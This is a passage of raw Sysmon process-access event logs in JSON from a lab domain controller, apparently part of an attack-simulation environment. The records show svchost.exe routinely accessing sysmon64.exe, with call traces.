C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1477,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1478,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1479,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1480,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1481,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1482,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1483,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1484,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 